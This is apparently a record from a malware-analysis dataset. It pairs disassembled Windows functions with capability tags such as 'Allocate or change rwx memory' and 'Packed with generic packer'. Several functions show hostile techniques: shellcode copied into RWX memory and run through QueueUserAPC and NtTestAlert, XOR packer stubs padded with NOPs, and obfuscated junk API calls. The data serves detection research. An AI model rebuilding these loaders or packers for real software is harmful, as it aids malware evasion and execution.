joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407370
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x4073d4
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00403a48
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.004055d4
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4073db
lea eax, [ebp - 0xc]
call fcn.00403800
ret

Function at 0x407fb8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor edx, edx
push ebp
push 0x408044
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x40
push 0x3000
push 0x76198
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
test ebx, ebx
jne 0x407ffb
mov ecx, 0x408068
mov dl, 1
mov eax, dword [0x407edc]
call fcn.00407f44
call fcn.00403260
mov edx, dword [0xc49c58]
mov ecx, 0x76198
mov eax, ebx
call fcn.004047ac
push 0
call sub.kernel32.dll_GetCurrentThread
push eax
push ebx
call sub.kernel32.dll_QueueUserAPC
test eax, eax
jne 0x408035
mov ecx, 0x408080
mov dl, 1
mov eax, dword [0x407edc]
call fcn.00407f44
call fcn.00403260
call sub.ntdll.dll_NtTestAlert
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40805a
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4081e8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor edx, edx
push ebp
push 0x408274
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x40
push 0x3000
push 0x7ca798
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
test ebx, ebx
jne 0x40822b
mov ecx, 0x408298
mov dl, 1
mov eax, dword [0x40810c]
call fcn.00408174
call fcn.00403260
mov edx, dword [0xc49bfc]
mov ecx, 0x7ca798
mov eax, ebx
call fcn.004047ac
push 0
call sub.kernel32.dll_GetCurrentThread
push eax
push ebx
call sub.kernel32.dll_QueueUserAPC
test eax, eax
jne 0x408265
mov ecx, 0x4082b0
mov dl, 1
mov eax, dword [0x40810c]
call fcn.00408174
call fcn.00403260
call sub.ntdll.dll_NtTestAlert_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40828a
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..reloc
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0x640a3b38
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x432024
mov eax, section..rdata
nop
mov ebx, 0x42f314
nop
nop
mov ecx, 0x4ed1330c
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..idata
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x59697a69
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x63da2142
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401270
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
cmp dword [0x846a48], 0x594
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
jne 0x4012a3
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov ecx, dword [0x427e68]
mov edx, dword [0x427e6c]
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
mov dword [ebp - 0x2c], 0x9e3779b9
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x24], edx
call fcn.00401260
mov eax, dword [0x427e70]
mov ecx, dword [0x427e74]
add dword [ebp - 8], 0x23f
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], 0x20
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov ecx, dword [0x846a48]
mov eax, edi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x401348
push 0
lea edx, [ebp - 0x438]
push edx
push 0
call ebx
push 0
lea eax, [ebp - 0x38]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
mov eax, dword [ebp - 4]
mov ecx, dword [0x846a48]
add eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
jne 0x401362
mov dword [0x845fe4], 0xedeb2e40
jmp 0x401374
cmp ecx, 0x3eb
jne 0x401374
mov dword [0x845998], 0
mov ecx, dword [ebp - 8]
add ecx, edi
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x10]
mov esi, edi
shr esi, cl
mov dword [0x845fe0], 0xf4ea3dee
add esi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
cmp dword [0x846a48], 0x9e6
jne 0x4013ac
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommMask]
xor esi, dword [ebp - 4]
mov dword [ebp - 0x34], esi
mov eax, dword [ebp - 0x34]
add dword [ebp - 0xc], 0x64
sub dword [ebp - 0xc], eax
sub dword [ebp - 0xc], 0x64
mov edx, dword [ebp - 0xc]
shl edx, 4
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 8]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
nop
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
shr esi, cl
add esi, dword [ebp - 0x24]
cmp dword [0x846a48], 0x121
jne 0x401412
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov eax, dword [ebp - 4]
xor eax, esi
mov dword [ebp - 4], eax
sub edi, eax
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 8], eax
sub dword [ebp - 0x1c], 1
jne 0x4012f0
cmp dword [0x846a48], 0xa6d
mov esi, dword [ebp + 8]
mov dword [esi], edi
jne 0x401456
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edx, dword [ebp - 0xc]
pop edi
mov dword [esi + 4], edx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401470
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x846a48]
mov ecx, dword [0x84599c]
shr eax, 3
sub esp, 8
test eax, eax
jbe 0x401504
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
cmp dword [0x846a48], 0x959
jne 0x4014ee
push 0
push 0
call esi
push str.magubidowofanelocidegezifi_wuf_kogizanubobowufefore_taroyopopusenexokuraxupamocor
push 0
push 0
call edi
push 0
push 0
push str.cimiyuvipu
push str.kofegezadojupirucosopigerasicoc
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov eax, dword [ebp - 4]
push eax
call fcn.00401270
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x4014a3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4017b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc24
cmp dword [0x846a48], 0x400
push esi
push edi
jne 0x401808
push 0
lea eax, [ebp - 0x424]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll__lopen]
push 0
lea ecx, [ebp - 0xc24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
lea esi, [ebp - 0x24]
call fcn.00401900
mov ecx, esi
call fcn.00401920
mov edi, dword [ebp - 4]
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharLowerBuffA]
xor esi, esi
cmp esi, 0xa50
jge 0x401827
push 0
lea edx, [ebp - 0x424]
push edx
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x2af68b
jle 0x40183d
cmp edi, 0x78d9a205
jne 0x401846
inc esi
cmp esi, 0x1c5d
jl 0x401814
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
xor esi, esi
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
call ebx
cmp esi, 0x206d47
jg 0x401873
inc esi
cmp esi, 0x4f6a4
jl 0x401854
mov ebx, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
xor esi, esi
mov edi, edi
push 0
call edi
cmp esi, 0x2b259d
jle 0x401894
cmp ebx, 0x785074d5
jne 0x40189d
inc esi
cmp esi, 0x11915
jl 0x401880
mov eax, dword [0x428494]
mov dword [0x846a48], eax
call fcn.00401540
mov esi, dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
mov edi, 0x3078f
pop ebx
jmp 0x4018c0
cmp dword [0x846a48], 0x51f
jne 0x4018dc
push 0
lea ecx, [ebp - 0xc24]
push ecx
push 0x424e18
call esi
sub edi, 1
jne 0x4018c0
mov eax, dword [0x84599c]
mov dword [0x845fdc], eax
call eax
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40417b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x427420]
jne 0x404185
repz ret
jmp fcn.004079ec
Function at 0x409e9a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004062de
and dword [ebp - 4], 0
cmp dword [0x429304], 0
mov ebx, eax
jne 0x409f4b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409ffc
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x409ffc
push eax
call fcn.0040626c
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x429304], eax
call esi
push eax
call fcn.0040626c
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x429308], eax
call esi
push eax
call fcn.0040626c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42930c], eax
call esi
push eax
call fcn.0040626c
pop ecx
mov dword [0x429314], eax
test eax, eax
je 0x409f4b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040626c
pop ecx
mov dword [0x429310], eax
mov eax, dword [0x429310]
cmp eax, ebx
je 0x409fa3
cmp dword [0x429314], ebx
je 0x409fa3
push eax
call fcn.004062e7
push dword [0x429314]
mov esi, eax
call fcn.004062e7
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409fa3
test edi, edi
je 0x409fa3
call esi
test eax, eax
je 0x409f9a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409f9a
test byte [ebp - 0xc], 1
jne 0x409fa3
or dword [ebp + 0x10], 0x200000
jmp 0x409fdc
mov eax, dword [0x429308]
cmp eax, ebx
je 0x409fdc
push eax
call fcn.004062e7
pop ecx
test eax, eax
je 0x409fdc
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409fdc
mov eax, dword [0x42930c]
cmp eax, ebx
je 0x409fdc
push eax
call fcn.004062e7
pop ecx
test eax, eax
je 0x409fdc
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x429304]
call fcn.004062e7
pop ecx
test eax, eax
je 0x409ffc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x409ffe
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10014ab0
Capabilities:
Create process on windows

Disassembly:
push esi
mov ecx, 0x10230b34
call fcn.1017ee58
mov esi, dword [str..ESTANL04.PDF]
call sub.mfc140.dll_Ordinal_2251
test eax, eax
je 0x10014ad3
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x7c]
jmp 0x10014ad5
xor eax, eax
push 3
push 0
push 0
push esi
push str.open
push dword [eax + 0x20]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop esi
cmp eax, 0x20
jge 0x10014afe
push 0
push 0
push str.Fehler_beim_Starten_des_Verweises._nM
call sub.mfc140.dll_Ordinal_2298
ret
Function at 0x100e8550
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1019609e
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x1022d2bc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [ebp + 0x10]
mov ecx, 0x10236429
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
call fcn.1017ee58
push edi
lea ecx, [ebp - 0x14]
call dword [sym.imp.applib32.dll_public:_void___thiscall_CNString::constructor_char_const__]
push str.STARTPGM
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 1
call dword [sym.imp.mfc140.dll_Ordinal_2986]
mov byte [ebp - 4], 0
test eax, eax
jne 0x100e85ca
push 5
push esi
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, 1
jmp 0x100e85d9
push dword [ebp - 0x18]
mov ecx, ebx
push esi
push edi
call dword [sym.imp.applib32.dll_public_virtual:_int___thiscall_CNFormBase::DoAction_char_const___char_const___class_CNActionKeyDesc__]
mov esi, eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.applib32.dll_public:_void___thiscall_CNString::destructor_void_]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1017ee8a
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10125dc0
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1019916d
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x1022d2bc]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov ecx, 0x10237fc6
call fcn.1017ee58
mov esi, dword [sym.imp.FO140Ftm142.dll_public:_void___thiscall_PtString::constructor_void_]
lea ecx, [edi + 8]
mov dword [edi], vtable.CTE04AVVertragStruct.0
call esi
lea ecx, [edi + 0x10]
mov dword [ebp - 4], 0
call esi
mov ecx, edi
mov byte [ebp - 4], 1
add ecx, 0x18
call esi
mov ecx, edi
mov byte [ebp - 4], 2
add ecx, 0x20
call esi
mov eax, dword [ebp + 8]
lea ecx, [edi + 8]
mov esi, dword [sym.imp.FO140Ftm142.dll_public:_class_PtString____thiscall_PtString::operator_class_PtString_const__]
add eax, 8
push eax
mov byte [ebp - 4], 3
call esi
mov ebx, dword [ebp + 8]
lea ecx, [edi + 0x10]
add ebx, 0x10
push ebx
call esi
mov ecx, dword [ebp - 0x10]
mov edi, dword [ebp + 8]
add edi, 0x18
push edi
lea ecx, [ecx + 0x18]
call esi
mov ecx, dword [ebp - 0x10]
mov esi, dword [ebp + 8]
add esi, 0x20
push esi
lea ecx, [ecx + 0x20]
call dword [sym.imp.FO140Ftm142.dll_public:_class_PtString____thiscall_PtString::operator_class_PtString_const__]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
movsd xmm0, qword [ecx + 0x28]
movsd qword [edx + 0x28], xmm0
movsd xmm0, qword [ecx + 0x30]
movsd qword [edx + 0x30], xmm0
movsd xmm0, qword [ecx + 0x38]
movsd qword [edx + 0x38], xmm0
movsd xmm0, qword [ecx + 0x40]
movsd qword [edx + 0x40], xmm0
movsd xmm0, qword [ecx + 0x48]
movsd qword [edx + 0x48], xmm0
movzx eax, byte [ecx + 0x50]
mov byte [edx + 0x50], al
lea eax, [ecx + 8]
mov dword [edx + 0x58], ecx
push eax
lea ecx, [edx + 8]
mov dword [ebp - 4], 4
mov dword [edx], vtable.CTE04AVVertragStructWithSource.0
call dword [sym.imp.FO140Ftm142.dll_public:_class_PtString____thiscall_PtString::operator_class_PtString_const__]
mov ecx, dword [ebp - 0x10]
push ebx
mov ebx, dword [sym.imp.FO140Ftm142.dll_public:_class_PtString____thiscall_PtString::operator_class_PtString_const__]
lea ecx, [ecx + 0x10]
call ebx
push edi
mov edi, dword [ebp - 0x10]
lea ecx, [edi + 0x18]
call ebx
push esi
lea ecx, [edi + 0x20]
call ebx
mov eax, dword [ebp + 8]
movsd xmm0, qword [eax + 0x28]
movsd qword [edi + 0x28], xmm0
movsd xmm0, qword [eax + 0x30]
movsd qword [edi + 0x30], xmm0
movsd xmm0, qword [eax + 0x38]
movsd qword [edi + 0x38], xmm0
movsd xmm0, qword [eax + 0x40]
movsd qword [edi + 0x40], xmm0
movsd xmm0, qword [eax + 0x48]
movsd qword [edi + 0x48], xmm0
movzx eax, byte [eax + 0x50]
mov byte [edi + 0x50], al
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x41fb6c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b520]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00416e52
and dword [ebp - 0x14], 0
cmp dword [0x4599f8], 0
mov dword [ebp - 0x18], eax
jne 0x41fc1f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41fcc7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41fcc7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4599f8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4599fc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x459a00], eax
call edi
push eax
call esi
mov dword [0x459a08], eax
test eax, eax
je 0x41fc1f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x459a04], eax
mov eax, dword [0x459a04]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41fc78
cmp dword [0x459a08], ecx
je 0x41fc78
push eax
call esi
push dword [0x459a08]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41fc78
test ebx, ebx
je 0x41fc78
call edi
test eax, eax
je 0x41fc6f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41fc6f
test byte [ebp - 8], 1
jne 0x41fc78
or dword [ebp + 0x10], 0x200000
jmp 0x41fcab
mov eax, dword [0x4599fc]
cmp eax, dword [ebp - 0x18]
je 0x41fcab
push eax
call esi
test eax, eax
je 0x41fcab
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41fcab
mov eax, dword [0x459a00]
cmp eax, dword [ebp - 0x18]
je 0x41fcab
push eax
call esi
test eax, eax
je 0x41fcab
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4599f8]
call esi
test eax, eax
je 0x41fcc7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41fcc9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004113cb
leave
ret

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x4a2c25
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x14
push 0x4b1800
call fcn.004a6f80
call fcn.004a6c51
movzx esi, ax
push 2
call fcn.004a6a51
pop ecx
mov eax, 0x5a4d
cmp word [sym.imp.shell32.dll_SHGetPathFromIDListW], ax
je 0x4a2adc
xor ebx, ebx
jmp 0x4a2b0f
mov eax, dword [0x40003c]
cmp dword [eax + sym.imp.shell32.dll_SHGetPathFromIDListW], 0x4550
jne 0x4a2ad8
mov ecx, 0x10b
cmp word [eax + sym.imp.shell32.dll_SHGetFileInfoA], cx
jne 0x4a2ad8
xor ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x4a2b0f
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.004a6473
or eax, eax
jne 0x4a2b23
push 0x1c
call fcn.004a2bfe
pop ecx
call fcn.004a5ed6
or eax, eax
jne 0x4a2b34
push 0x10
call fcn.004a2bfe
pop ecx
call fcn.004a6b38
and dword [ebp - 4], 0
call fcn.004a6488
or eax, eax
jns 0x4a2b4e
push 0x1b
call fcn.004a2bfe
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [0x5c1d30], eax
call fcn.004a6b78
mov dword [0x5bc4c8], eax
call fcn.004a6736
or eax, eax
jns 0x4a2b74
push 8
call fcn.004a5fb1
pop ecx
call fcn.004a696f
or eax, eax
jns 0x4a2b85
push 9
call fcn.004a5fb1
pop ecx
push 1
call fcn.004a5feb
pop ecx
or eax, eax
je 0x4a2b98
push eax
call fcn.004a5fb1
pop ecx
call fcn.004a6f28
push esi
push eax
push 0
push sym.imp.shell32.dll_SHGetPathFromIDListW
call main
push eax
pop esi
mov dword [ebp - 0x24], esi
test ebx, ebx
jne 0x4a2bba
push esi
call fcn.004a6247
call fcn.004a5fdc
jmp 0x4a2bef
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.004a6fc5
ret
call fcn.004a6a9e
jmp 0x4a2aae
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.DLL_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x432002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
mov ecx, 0x50bf325f
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data_1
nop
mov ebx, 0x42f314
mov ecx, 0x1d5d3088
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
popal
nop
nop
nop
jmp 0x431219